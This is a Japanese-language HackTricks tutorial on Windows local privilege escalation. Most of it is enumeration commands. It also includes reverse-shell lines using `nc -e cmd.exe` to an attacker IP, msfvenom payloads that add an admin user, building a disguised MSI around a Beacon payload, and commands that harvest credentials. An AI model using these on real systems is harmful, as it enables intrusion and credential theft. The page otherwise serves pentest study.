hacktricks/src/windows-hardening/windows-local-privilege-escalation
..

Windows Local Privilege Escalation

{{#include ../../banners/hacktricks-training.md}}

Windowsのローカル特権昇格ベクトルを探すための最良のツール: WinPEAS

初期Windows理論

アクセストークン

Windowsアクセストークンが何であるか知らない場合は、続行する前に以下のページを読んでください:

{{#ref}} access-tokens.md {{#endref}}

ACLs - DACLs/SACLs/ACEs

ACLs - DACLs/SACLs/ACEsに関する詳細情報は以下のページを確認してください:

{{#ref}} acls-dacls-sacls-aces.md {{#endref}}

整合性レベル

Windowsの整合性レベルが何であるか知らない場合は、続行する前に以下のページを読んでください:

{{#ref}} integrity-levels.md {{#endref}}

Windowsセキュリティコントロール

Windowsには、システムの列挙を妨げる、実行可能ファイルを実行することやあなたの活動を検出することを防ぐさまざまな要素があります。特権昇格の列挙を開始する前に、以下のページ読み、これらの防御****メカニズムをすべて列挙する必要があります:

{{#ref}} ../authentication-credentials-uac-and-efs/ {{#endref}}

システム情報

バージョン情報の列挙

Windowsのバージョンに既知の脆弱性があるか確認してください適用されたパッチも確認してください

systeminfo
systeminfo | findstr /B /C:"OS Name" /C:"OS Version" #Get only that information
wmic qfe get Caption,Description,HotFixID,InstalledOn #Patches
wmic os get osarchitecture || echo %PROCESSOR_ARCHITECTURE% #Get system architecture
[System.Environment]::OSVersion.Version #Current OS version
Get-WmiObject -query 'select * from win32_quickfixengineering' | foreach {$_.hotfixid} #List all patches
Get-Hotfix -description "Security update" #List only "Security Update" patches

Version Exploits

このサイトは、Microsoftのセキュリティ脆弱性に関する詳細情報を検索するのに便利です。このデータベースには4,700以上のセキュリティ脆弱性があり、Windows環境が提示する大規模な攻撃面を示しています。

システム上で

  • post/windows/gather/enum_patches
  • post/multi/recon/local_exploit_suggester
  • watson
  • winpeas (Winpeasにはwatsonが組み込まれています)

システム情報を使用してローカルに

エクスプロイトのGithubリポジトリ:

Environment

環境変数に保存された資格情報/重要な情報はありますか?

set
dir env:
Get-ChildItem Env: | ft Key,Value -AutoSize

PowerShellの履歴

ConsoleHost_history #Find the PATH where is saved

type %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
type C:\Users\swissky\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
type $env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
cat (Get-PSReadlineOption).HistorySavePath
cat (Get-PSReadlineOption).HistorySavePath | sls passw

PowerShell トランスクリプトファイル

この機能をオンにする方法はhttps://sid-500.com/2017/11/07/powershell-enabling-transcription-logging-by-using-group-policy/で学ぶことができます。

#Check is enable in the registry
reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\Transcription
reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\Transcription
reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\Transcription
reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\Transcription
dir C:\Transcripts

#Start a Transcription session
Start-Transcript -Path "C:\transcripts\transcript0.txt" -NoClobber
Stop-Transcript

PowerShell モジュール ロギング

PowerShell パイプラインの実行の詳細が記録され、実行されたコマンド、コマンドの呼び出し、およびスクリプトの一部が含まれます。ただし、完全な実行の詳細や出力結果はキャプチャされない場合があります。

これを有効にするには、ドキュメントの「トランスクリプトファイル」セクションの指示に従い、**「モジュール ロギング」を選択してください。「Powershell トランスクリプション」**の代わりに。

reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging

PowersShell ログから最後の 15 イベントを表示するには、次のコマンドを実行できます:

Get-WinEvent -LogName "windows Powershell" | select -First 15 | Out-GridView

PowerShell Script Block Logging

スクリプトの実行の完全なアクティビティと全内容の記録がキャプチャされ、実行されるコードの各ブロックが文書化されることが保証されます。このプロセスは、各アクティビティの包括的な監査証跡を保持し、フォレンジックや悪意のある行動の分析に役立ちます。実行時にすべてのアクティビティを文書化することで、プロセスに関する詳細な洞察が提供されます。

reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging

スクリプトブロックのログイベントは、Windowsイベントビューアのパス Application and Services Logs > Microsoft > Windows > PowerShell > Operational にあります。
最後の20件のイベントを表示するには、次のコマンドを使用できます:

Get-WinEvent -LogName "Microsoft-Windows-Powershell/Operational" | select -first 20 | Out-Gridview

インターネット設定

reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings"
reg query "HKLM\Software\Microsoft\Windows\CurrentVersion\Internet Settings"

ドライブ

wmic logicaldisk get caption || fsutil fsinfo drives
wmic logicaldisk get caption,description,providername
Get-PSDrive | where {$_.Provider -like "Microsoft.PowerShell.Core\FileSystem"}| ft Name,Root

WSUS

システムは、更新がhttpではなくhttpSを使用してリクエストされていない場合に危険にさらされます。

次に、cmdで以下を実行して、ネットワークが非SSL WSUS更新を使用しているかどうかを確認します:

reg query HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate /v WUServer

PowerShellでは次のようにします:

Get-ItemProperty -Path HKLM:\Software\Policies\Microsoft\Windows\WindowsUpdate -Name "WUServer"

これらのいずれかの返信がある場合:

HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WindowsUpdate
WUServer    REG_SZ    http://xxxx-updxx.corp.internal.com:8535
WUServer     : http://xxxx-updxx.corp.internal.com:8530
PSPath       : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\software\policies\microsoft\windows\windowsupdate
PSParentPath : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\software\policies\microsoft\windows
PSChildName  : windowsupdate
PSDrive      : HKLM
PSProvider   : Microsoft.PowerShell.Core\Registry

HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU /v UseWUServer または Get-ItemProperty -Path hklm:\software\policies\microsoft\windows\windowsupdate\au -name "usewuserver"1 に等しい場合。

その場合、悪用可能です。 最後のレジストリが 0 に等しい場合、WSUS エントリは無視されます。

この脆弱性を悪用するには、次のようなツールを使用できます: WsuxploitpyWSUS - これらは、非 SSL WSUS トラフィックに「偽」の更新を注入するための MiTM 武器化されたエクスプロイトスクリプトです。

ここで研究を読む:

{{#file}} CTX_WSUSpect_White_Paper (1).pdf {{#endfile}}

WSUS CVE-2020-1013

完全なレポートをこちらで読む
基本的に、これはこのバグが悪用する欠陥です:

ローカルユーザープロキシを変更する権限があり、Windows Update が Internet Explorer の設定で構成されたプロキシを使用する場合、私たちは PyWSUS をローカルで実行して自分のトラフィックを傍受し、資産上で昇格されたユーザーとしてコードを実行する権限を持つことになります。

さらに、WSUS サービスは現在のユーザーの設定を使用するため、その証明書ストアも使用します。WSUS ホスト名の自己署名証明書を生成し、この証明書を現在のユーザーの証明書ストアに追加すれば、HTTP および HTTPS WSUS トラフィックの両方を傍受できるようになります。WSUS は、証明書に対して信頼の初回使用タイプの検証を実装するための HSTS のようなメカニズムを使用していません。提示された証明書がユーザーによって信頼され、正しいホスト名を持っている場合、サービスによって受け入れられます。

この脆弱性を利用するには、ツール WSUSpicious を使用できます(解放された場合)。

KrbRelayUp

ローカル特権昇格 脆弱性は、特定の条件下で Windows ドメイン 環境に存在します。これらの条件には、LDAP 署名が強制されていない 環境、ユーザーが リソースベースの制約付き委任 (RBCD) を構成する権利を持っていること、ユーザーがドメイン内でコンピュータを作成する能力が含まれます。これらの 要件デフォルト設定 を使用して満たされることに注意が必要です。

エクスプロイトを見つける https://github.com/Dec0ne/KrbRelayUp

攻撃の流れについての詳細は、https://research.nccgroup.com/2019/08/20/kerberos-resource-based-constrained-delegation-when-an-image-change-leads-to-a-privilege-escalation/ を確認してください。

AlwaysInstallElevated

**これらの 2 つのレジスタが 有効 (値が 0x1) の場合、任意の特権を持つユーザーは *.msi ファイルを NT AUTHORITY\SYSTEM として インストール (実行) できます。

reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

Metasploit ペイロード

msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi-nouac -o alwe.msi #No uac format
msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi -o alwe.msi #Using the msiexec the uac wont be prompted

もしmeterpreterセッションがある場合、モジュール**exploit/windows/local/always_install_elevated**を使用してこの技術を自動化できます。

PowerUP

Write-UserAddMSIコマンドをpower-upから使用して、現在のディレクトリ内にWindows MSIバイナリを作成し、特権を昇格させます。このスクリプトは、ユーザー/グループの追加を促すプリコンパイルされたMSIインストーラーを書き出しますそのため、GIUアクセスが必要です

Write-UserAddMSI

ただ作成したバイナリを実行して特権を昇格させます。

MSI Wrapper

このツールを使用してMSIラッパーを作成する方法を学ぶためにこのチュートリアルを読んでください。コマンドライン実行したいだけの場合は、".bat"ファイルをラップできます。

{{#ref}} msi-wrapper.md {{#endref}}

WIXでMSIを作成

{{#ref}} create-msi-with-wix.md {{#endref}}

Visual StudioでMSIを作成

  • Cobalt StrikeまたはMetasploitを使用して、C:\privesc\beacon.exe新しいWindows EXE TCPペイロード生成します。
  • Visual Studioを開き、新しいプロジェクトを作成を選択し、検索ボックスに「installer」と入力します。Setup Wizardプロジェクトを選択し、次へをクリックします。
  • プロジェクトにAlwaysPrivescのような名前を付け、場所に**C:\privesc**を使用し、ソリューションとプロジェクトを同じディレクトリに配置を選択し、作成をクリックします。
  • 次へをクリックし続け、4つのステップのうちの3ステップ含めるファイルを選択に到達します。追加をクリックし、先ほど生成したBeaconペイロードを選択します。次に、完了をクリックします。
  • ソリューションエクスプローラーAlwaysPrivescプロジェクトをハイライトし、プロパティTargetPlatformx86からx64に変更します。
  • AuthorManufacturerなど、インストールされたアプリをより正当なものに見せるために変更できる他のプロパティもあります。
  • プロジェクトを右クリックし、表示 > カスタムアクションを選択します。
  • Installを右クリックし、カスタムアクションの追加を選択します。
  • Application Folderをダブルクリックし、beacon.exeファイルを選択してOKをクリックします。これにより、インストーラーが実行されるとすぐにbeaconペイロードが実行されることが保証されます。
  • カスタムアクションプロパティの下で、Run64BitTrueに変更します。
  • 最後に、ビルドします。
  • 警告File 'beacon-tcp.exe' targeting 'x64' is not compatible with the project's target platform 'x86'が表示された場合は、プラットフォームをx64に設定していることを確認してください。

MSIインストール

バックグラウンドで悪意のある.msiファイルのインストールを実行するには:

msiexec /quiet /qn /i C:\Users\Steve.INFERNO\Downloads\alwe.msi

この脆弱性を悪用するには、次を使用できます: exploit/windows/local/always_install_elevated

アンチウイルスと検出器

監査設定

これらの設定は何がログされるかを決定するため、注意を払うべきです。

reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System\Audit

WEF

Windows Event Forwardingは、ログがどこに送信されるかを知るのが興味深いです。

reg query HKLM\Software\Policies\Microsoft\Windows\EventLog\EventForwarding\SubscriptionManager

LAPS

LAPSは、ローカル管理者パスワードの管理のために設計されており、ドメインに参加しているコンピュータ上で各パスワードが一意で、ランダム化され、定期的に更新されることを保証します。これらのパスワードはActive Directory内に安全に保存され、ACLを通じて十分な権限が付与されたユーザーのみがアクセスでき、認可されている場合にローカル管理者パスワードを表示できます。

{{#ref}} ../active-directory-methodology/laps.md {{#endref}}

WDigest

アクティブな場合、平文のパスワードはLSASS(ローカルセキュリティ権限サブシステムサービス)に保存されます。
WDigestに関する詳細はこのページを参照してください

reg query 'HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest' /v UseLogonCredential

LSA保護

Windows 8.1以降、Microsoftはローカルセキュリティ機関LSAの強化された保護を導入し、信頼されていないプロセスによるメモリの読み取りやコードの注入をブロックすることで、システムのセキュリティをさらに強化しました。
LSA保護に関する詳細はこちら

reg query 'HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA' /v RunAsPPL

Credentials Guard

Credential GuardWindows 10 で導入されました。その目的は、デバイスに保存された資格情報を pass-the-hash 攻撃のような脅威から保護することです。| More info about Credentials Guard here.

reg query 'HKLM\System\CurrentControlSet\Control\LSA' /v LsaCfgFlags

キャッシュされた資格情報

ドメイン資格情報は、ローカルセキュリティ機関LSAによって認証され、オペレーティングシステムのコンポーネントによって利用されます。ユーザーのログオンデータが登録されたセキュリティパッケージによって認証されると、通常、ユーザーのためのドメイン資格情報が確立されます。
キャッシュされた資格情報の詳細はこちら.

reg query "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINLOGON" /v CACHEDLOGONSCOUNT

Users & Groups

Enumerate Users & Groups

あなたが所属するグループの中に、興味深い権限を持つものがないか確認する必要があります。

# CMD
net users %username% #Me
net users #All local users
net localgroup #Groups
net localgroup Administrators #Who is inside Administrators group
whoami /all #Check the privileges

# PS
Get-WmiObject -Class Win32_UserAccount
Get-LocalUser | ft Name,Enabled,LastLogon
Get-ChildItem C:\Users -Force | select Name
Get-LocalGroupMember Administrators | ft Name, PrincipalSource

特権グループ

もしあなたが 特権グループに属している場合、特権を昇格させることができるかもしれません。特権グループについて学び、特権を昇格させるためにそれらを悪用する方法はこちらで確認してください:

{{#ref}} ../active-directory-methodology/privileged-groups-and-token-privileges.md {{#endref}}

トークン操作

このページで トークン とは何かについて 詳しく学んでください: Windows Tokens
次のページを確認して 興味深いトークンについて学び、それらを悪用する方法を見てください:

{{#ref}} privilege-escalation-abusing-tokens.md {{#endref}}

ログインユーザー / セッション

qwinsta
klist sessions

ホームフォルダ

dir C:\Users
Get-ChildItem C:\Users

パスワードポリシー

net accounts

クリップボードの内容を取得する

powershell -command "Get-Clipboard"

実行中のプロセス

ファイルとフォルダーの権限

まず、プロセスをリストアップして、プロセスのコマンドライン内にパスワードがないか確認します
実行中のバイナリを上書きできるか、またはバイナリフォルダーの書き込み権限があるかを確認して、可能なDLL Hijacking attacksを悪用します:

Tasklist /SVC #List processes running and services
tasklist /v /fi "username eq system" #Filter "system" processes

#With allowed Usernames
Get-WmiObject -Query "Select * from Win32_Process" | where {$_.Name -notlike "svchost*"} | Select Name, Handle, @{Label="Owner";Expression={$_.GetOwner().User}} | ft -AutoSize

#Without usernames
Get-Process | where {$_.ProcessName -notlike "svchost*"} | ft ProcessName, Id

常に可能な electron/cef/chromiumデバッガー が実行されているか確認してください。これを悪用して特権を昇格させることができます

プロセスバイナリの権限を確認する

for /f "tokens=2 delims='='" %%x in ('wmic process list full^|find /i "executablepath"^|find /i /v "system32"^|find ":"') do (
for /f eol^=^"^ delims^=^" %%z in ('echo %%x') do (
icacls "%%z"
2>nul | findstr /i "(F) (M) (W) :\\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo.
)
)

プロセスバイナリのフォルダの権限を確認する (DLL Hijacking)

for /f "tokens=2 delims='='" %%x in ('wmic process list full^|find /i "executablepath"^|find /i /v
"system32"^|find ":"') do for /f eol^=^"^ delims^=^" %%y in ('echo %%x') do (
icacls "%%~dpy\" 2>nul | findstr /i "(F) (M) (W) :\\" | findstr /i ":\\ everyone authenticated users
todos %username%" && echo.
)

メモリパスワードマイニング

procdumpを使用して、実行中のプロセスのメモリダンプを作成できます。FTPのようなサービスはメモリ内に平文の資格情報を持っています。メモリをダンプして資格情報を読み取ってみてください。

procdump.exe -accepteula -ma <proc_name_tasklist>

Insecure GUI apps

SYSTEMとして実行されているアプリケーションは、ユーザーがCMDを起動したり、ディレクトリをブラウズしたりすることを許可する場合があります。

例: "Windows ヘルプとサポート" (Windows + F1)、"コマンドプロンプト"を検索し、"コマンドプロンプトを開くにはクリック"をクリック

Services

サービスのリストを取得:

net start
wmic service list brief
sc query
Get-Service

パーミッション

sc を使用してサービスの情報を取得できます。

sc qc <service_name>

各サービスの必要な特権レベルを確認するために、Sysinternals のバイナリ accesschk を持っていることをお勧めします。

accesschk.exe -ucqv <Service_Name> #Check rights for different groups

"Authenticated Users" が任意のサービスを変更できるかどうかを確認することをお勧めします:

accesschk.exe -uwcqv "Authenticated Users" * /accepteula
accesschk.exe -uwcqv %USERNAME% * /accepteula
accesschk.exe -uwcqv "BUILTIN\Users" * /accepteula 2>nul
accesschk.exe -uwcqv "Todos" * /accepteula ::Spanish version

accesschk.exeをXP用にこちらからダウンロードできます

サービスを有効にする

このエラーが発生している場合例えばSSDPSRVで

システムエラー1058が発生しました。
サービスは無効になっているか、関連付けられた有効なデバイスがないため、開始できません。

次のようにして有効にできます。

sc config SSDPSRV start= demand
sc config SSDPSRV obj= ".\LocalSystem" password= ""

この問題の別の回避策は、次のコマンドを実行することです:

sc.exe config usosvc start= auto

サービスバイナリパスの変更

「認証されたユーザー」グループがサービスに対して SERVICE_ALL_ACCESS を持つシナリオでは、サービスの実行可能バイナリを変更することが可能です。 sc を変更して実行するには:

sc config <Service_Name> binpath= "C:\nc.exe -nv 127.0.0.1 9988 -e C:\WINDOWS\System32\cmd.exe"
sc config <Service_Name> binpath= "net localgroup administrators username /add"
sc config <Service_Name> binpath= "cmd \c C:\Users\nc.exe 10.10.10.10 4444 -e cmd.exe"

sc config SSDPSRV binpath= "C:\Documents and Settings\PEPE\meter443.exe"

サービスの再起動

wmic service NAMEOFSERVICE call startservice
net stop [service name] && net start [service name]

特権はさまざまな権限を通じて昇格できます:

  • SERVICE_CHANGE_CONFIG: サービスバイナリの再構成を許可します。
  • WRITE_DAC: 権限の再構成を可能にし、サービス設定の変更ができるようになります。
  • WRITE_OWNER: 所有権の取得と権限の再構成を許可します。
  • GENERIC_WRITE: サービス設定を変更する能力を継承します。
  • GENERIC_ALL: サービス設定を変更する能力も継承します。

この脆弱性の検出と悪用には、exploit/windows/local/service_permissions を利用できます。

サービスバイナリの弱い権限

サービスによって実行されるバイナリを変更できるか、 または バイナリが存在するフォルダーに書き込み権限があるかを確認してください (DLL Hijacking)
wmicsystem32ではないを使用してサービスによって実行されるすべてのバイナリを取得し、icaclsを使用して権限を確認できます:

for /f "tokens=2 delims='='" %a in ('wmic service list full^|find /i "pathname"^|find /i /v "system32"') do @echo %a >> %temp%\perm.txt

for /f eol^=^"^ delims^=^" %a in (%temp%\perm.txt) do cmd.exe /c icacls "%a" 2>nul | findstr "(M) (F) :\"

scicacls も使用できます:

sc query state= all | findstr "SERVICE_NAME:" >> C:\Temp\Servicenames.txt
FOR /F "tokens=2 delims= " %i in (C:\Temp\Servicenames.txt) DO @echo %i >> C:\Temp\services.txt
FOR /F %i in (C:\Temp\services.txt) DO @sc qc %i | findstr "BINARY_PATH_NAME" >> C:\Temp\path.txt

サービスレジストリの権限を変更する

サービスレジストリを変更できるか確認する必要があります。
サービスレジストリに対する権限を確認するには、次のようにします:

reg query hklm\System\CurrentControlSet\Services /s /v imagepath #Get the binary paths of the services

#Try to write every service with its current content (to check if you have write permissions)
for /f %a in ('reg query hklm\system\currentcontrolset\services') do del %temp%\reg.hiv 2>nul & reg save %a %temp%\reg.hiv 2>nul && reg restore %a %temp%\reg.hiv 2>nul && echo You can modify %a

get-acl HKLM:\System\CurrentControlSet\services\* | Format-List * | findstr /i "<Username> Users Path Everyone"

Authenticated Users または NT AUTHORITY\INTERACTIVEFullControl 権限を持っているかどうかを確認する必要があります。もしそうであれば、サービスによって実行されるバイナリを変更することができます。

実行されるバイナリのパスを変更するには:

reg add HKLM\SYSTEM\CurrentControlSet\services\<service_name> /v ImagePath /t REG_EXPAND_SZ /d C:\path\new\binary /f

サービスレジストリのAppendData/AddSubdirectory権限

この権限を持っている場合、このレジストリからサブレジストリを作成できることを意味します。Windowsサービスの場合、これは任意のコードを実行するのに十分です:

{{#ref}} appenddata-addsubdirectory-permission-over-service-registry.md {{#endref}}

引用されていないサービスパス

実行可能ファイルへのパスが引用符内にない場合、Windowsはスペースの前のすべての終了を実行しようとします。

例えば、パス C:\Program Files\Some Folder\Service.exe の場合、Windowsは次のように実行しようとします

C:\Program.exe
C:\Program Files\Some.exe
C:\Program Files\Some Folder\Service.exe

すべての引用されていないサービスパスをリストアップしますが、組み込みのWindowsサービスに属するものは除外します。

wmic service get name,pathname,displayname,startmode | findstr /i auto | findstr /i /v "C:\Windows\\" | findstr /i /v '\"'
wmic service get name,displayname,pathname,startmode | findstr /i /v "C:\\Windows\\system32\\" |findstr /i /v '\"'  # Not only auto services

# Using PowerUp.ps1
Get-ServiceUnquoted -Verbose
for /f "tokens=2" %%n in ('sc query state^= all^| findstr SERVICE_NAME') do (
for /f "delims=: tokens=1*" %%r in ('sc qc "%%~n" ^| findstr BINARY_PATH_NAME ^| findstr /i /v /l /c:"c:\windows\system32" ^| findstr /v /c:""""') do (
echo %%~s | findstr /r /c:"[a-Z][ ][a-Z]" >nul 2>&1 && (echo %%n && echo %%~s && icacls %%s | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%") && echo.
)
)
gwmi -class Win32_Service -Property Name, DisplayName, PathName, StartMode | Where {$_.StartMode -eq "Auto" -and $_.PathName -notlike "C:\Windows*" -and $_.PathName -notlike '"*'} | select PathName,DisplayName,Name

この脆弱性を検出し、悪用することができます metasploitを使用して: exploit/windows/local/trusted\_service\_path 手動でサービスバイナリを作成することができます metasploitを使用して:

msfvenom -p windows/exec CMD="net localgroup administrators username /add" -f exe-service -o service.exe

Recovery Actions

Windowsは、サービスが失敗した場合に実行されるアクションを指定することをユーザーに許可します。この機能は、バイナリを指すように構成できます。このバイナリが置き換え可能であれば、特権昇格が可能かもしれません。詳細は公式ドキュメントにあります。

Applications

Installed Applications

バイナリの権限を確認してくださいもしかしたら、1つを上書きして特権を昇格できるかもしれませんおよびフォルダーの権限を確認してください(DLL Hijacking)。

dir /a "C:\Program Files"
dir /a "C:\Program Files (x86)"
reg query HKEY_LOCAL_MACHINE\SOFTWARE

Get-ChildItem 'C:\Program Files', 'C:\Program Files (x86)' | ft Parent,Name,LastWriteTime
Get-ChildItem -path Registry::HKEY_LOCAL_MACHINE\SOFTWARE | ft Name

書き込み権限

特定のファイルを読み取るために設定ファイルを変更できるか、または管理者アカウントschedtasksによって実行されるバイナリを変更できるかを確認します。

システム内の弱いフォルダー/ファイルの権限を見つける方法は次の通りです:

accesschk.exe /accepteula
# Find all weak folder permissions per drive.
accesschk.exe -uwdqs Users c:\
accesschk.exe -uwdqs "Authenticated Users" c:\
accesschk.exe -uwdqs "Everyone" c:\
# Find all weak file permissions per drive.
accesschk.exe -uwqs Users c:\*.*
accesschk.exe -uwqs "Authenticated Users" c:\*.*
accesschk.exe -uwdqs "Everyone" c:\*.*
icacls "C:\Program Files\*" 2>nul | findstr "(F) (M) :\" | findstr ":\ everyone authenticated users todos %username%"
icacls ":\Program Files (x86)\*" 2>nul | findstr "(F) (M) C:\" | findstr ":\ everyone authenticated users todos %username%"
Get-ChildItem 'C:\Program Files\*','C:\Program Files (x86)\*' | % { try { Get-Acl $_ -EA SilentlyContinue | Where {($_.Access|select -ExpandProperty IdentityReference) -match 'Everyone'} } catch {}}

Get-ChildItem 'C:\Program Files\*','C:\Program Files (x86)\*' | % { try { Get-Acl $_ -EA SilentlyContinue | Where {($_.Access|select -ExpandProperty IdentityReference) -match 'BUILTIN\Users'} } catch {}}

スタートアップ時に実行

異なるユーザーによって実行されるレジストリまたはバイナリを上書きできるか確認してください。
以下のページを読んで、特権を昇格させるための興味深い オートランの場所 について学んでください

{{#ref}} privilege-escalation-with-autorun-binaries.md {{#endref}}

ドライバー

可能なサードパーティの奇妙/脆弱なドライバーを探してください。

driverquery
driverquery.exe /fo table
driverquery /SI

PATH DLL Hijacking

もしPATHに存在するフォルダー内に書き込み権限がある場合、プロセスによってロードされたDLLをハイジャックし、権限を昇格させることができるかもしれません。

PATH内のすべてのフォルダーの権限を確認してください:

for %%A in ("%path:;=";"%") do ( cmd.exe /c icacls "%%~A" 2>nul | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo. )

このチェックを悪用する方法についての詳細は次を参照してください:

{{#ref}} dll-hijacking/writable-sys-path-+dll-hijacking-privesc.md {{#endref}}

ネットワーク

共有

net view #Get a list of computers
net view /all /domain [domainname] #Shares on the domains
net view \\computer /ALL #List shares of a computer
net use x: \\computer\share #Mount the share locally
net share #Check current shares

hosts file

ホストファイルにハードコーディングされた他の既知のコンピュータを確認します。

type C:\Windows\System32\drivers\etc\hosts

ネットワークインターフェースとDNS

ipconfig /all
Get-NetIPConfiguration | ft InterfaceAlias,InterfaceDescription,IPv4Address
Get-DnsClientServerAddress -AddressFamily IPv4 | ft

オープンポート

外部から制限されたサービスを確認します

netstat -ano #Opened ports?

ルーティングテーブル

route print
Get-NetRoute -AddressFamily IPv4 | ft DestinationPrefix,NextHop,RouteMetric,ifIndex

ARPテーブル

arp -A
Get-NetNeighbor -AddressFamily IPv4 | ft ifIndex,IPAddress,L

ファイアウォールルール

ファイアウォール関連のコマンドについてはこのページを確認してください (ルールのリスト、ルールの作成、オフにする、オフにする...)

ネットワーク列挙のためのより多くのコマンドはこちら

Windows Subsystem for Linux (wsl)

C:\Windows\System32\bash.exe
C:\Windows\System32\wsl.exe

バイナリ bash.exeC:\Windows\WinSxS\amd64_microsoft-windows-lxssbash_[...]\bash.exe にも存在します。

ルートユーザーを取得すると、任意のポートでリッスンできます(nc.exe を使用してポートでリッスンする最初の時に、GUIを通じて nc がファイアウォールによって許可されるべきかどうか尋ねられます)。

wsl whoami
./ubuntun1604.exe config --default-user root
wsl whoami
wsl python -c 'BIND_OR_REVERSE_SHELL_PYTHON_CODE'

bashをルートとして簡単に開始するには、--default-user rootを試すことができます。

WSLファイルシステムは、フォルダーC:\Users\%USERNAME%\AppData\Local\Packages\CanonicalGroupLimited.UbuntuonWindows_79rhkp1fndgsc\LocalState\rootfs\で探索できます。

Windows資格情報

Winlogon資格情報

reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" 2>nul | findstr /i "DefaultDomainName DefaultUserName DefaultPassword AltDefaultDomainName AltDefaultUserName AltDefaultPassword LastUsedUsername"

#Other way
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultDomainName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultUserName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultPassword
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultDomainName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultUserName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultPassword

Credentials manager / Windows vault

From https://www.neowin.net/news/windows-7-exploring-credential-manager-and-windows-vault
Windows Vaultは、Windowsユーザーを自動的にログインさせるためのサーバー、ウェブサイト、その他のプログラムのユーザー資格情報を保存します。一見すると、ユーザーがFacebookの資格情報、Twitterの資格情報、Gmailの資格情報などを保存できるようになり、ブラウザを通じて自動的にログインできるように見えるかもしれません。しかし、そうではありません。

Windows Vaultは、Windowsがユーザーを自動的にログインさせることができる資格情報を保存します。つまり、リソースサーバーまたはウェブサイトにアクセスするために資格情報を必要とするWindowsアプリケーションは、このCredential Manager & Windows Vaultを利用し、ユーザーが常にユーザー名とパスワードを入力する代わりに提供された資格情報を使用できます。

アプリケーションがCredential Managerと相互作用しない限り、特定のリソースの資格情報を使用することは不可能だと思います。したがって、アプリケーションがボールトを利用したい場合は、何らかの方法で資格情報マネージャーと通信し、そのリソースの資格情報をデフォルトのストレージボールトから要求する必要があります

cmdkeyを使用して、マシン上に保存された資格情報のリストを表示します。

cmdkey /list
Currently stored credentials:
Target: Domain:interactive=WORKGROUP\Administrator
Type: Domain Password
User: WORKGROUP\Administrator

次に、保存された資格情報を使用するために /savecred オプションを使用して runas を実行できます。次の例は、SMB共有を介してリモートバイナリを呼び出しています。

runas /savecred /user:WORKGROUP\Administrator "\\10.XXX.XXX.XXX\SHARE\evil.exe"

runasを提供された資格情報で使用する。

C:\Windows\System32\runas.exe /env /noprofile /user:<username> <password> "c:\users\Public\nc.exe -nc <attacker-ip> 4444 -e cmd.exe"

注意してください、mimikatz、lazagne、credentialfileviewVaultPasswordView、またはEmpire Powershells moduleから。

DPAPI

データ保護API (DPAPI) は、データの対称暗号化の方法を提供し、主にWindowsオペレーティングシステム内で非対称秘密鍵の対称暗号化に使用されます。この暗号化は、ユーザーまたはシステムの秘密を利用してエントロピーに大きく寄与します。

DPAPIは、ユーザーのログイン秘密から導出された対称鍵を通じて鍵の暗号化を可能にします。システム暗号化が関与するシナリオでは、システムのドメイン認証秘密を利用します。

DPAPIを使用して暗号化されたユーザーRSA鍵は、%APPDATA%\Microsoft\Protect\{SID}ディレクトリに保存され、ここで{SID}はユーザーのセキュリティ識別子を表します。DPAPIキーは、ユーザーの秘密鍵を同じファイル内で保護するマスターキーと共に配置されており、通常は64バイトのランダムデータで構成されています。このディレクトリへのアクセスは制限されており、CMDのdirコマンドを使用してその内容をリストすることはできませんが、PowerShellを通じてリストすることは可能です

Get-ChildItem  C:\Users\USER\AppData\Roaming\Microsoft\Protect\
Get-ChildItem  C:\Users\USER\AppData\Local\Microsoft\Protect\

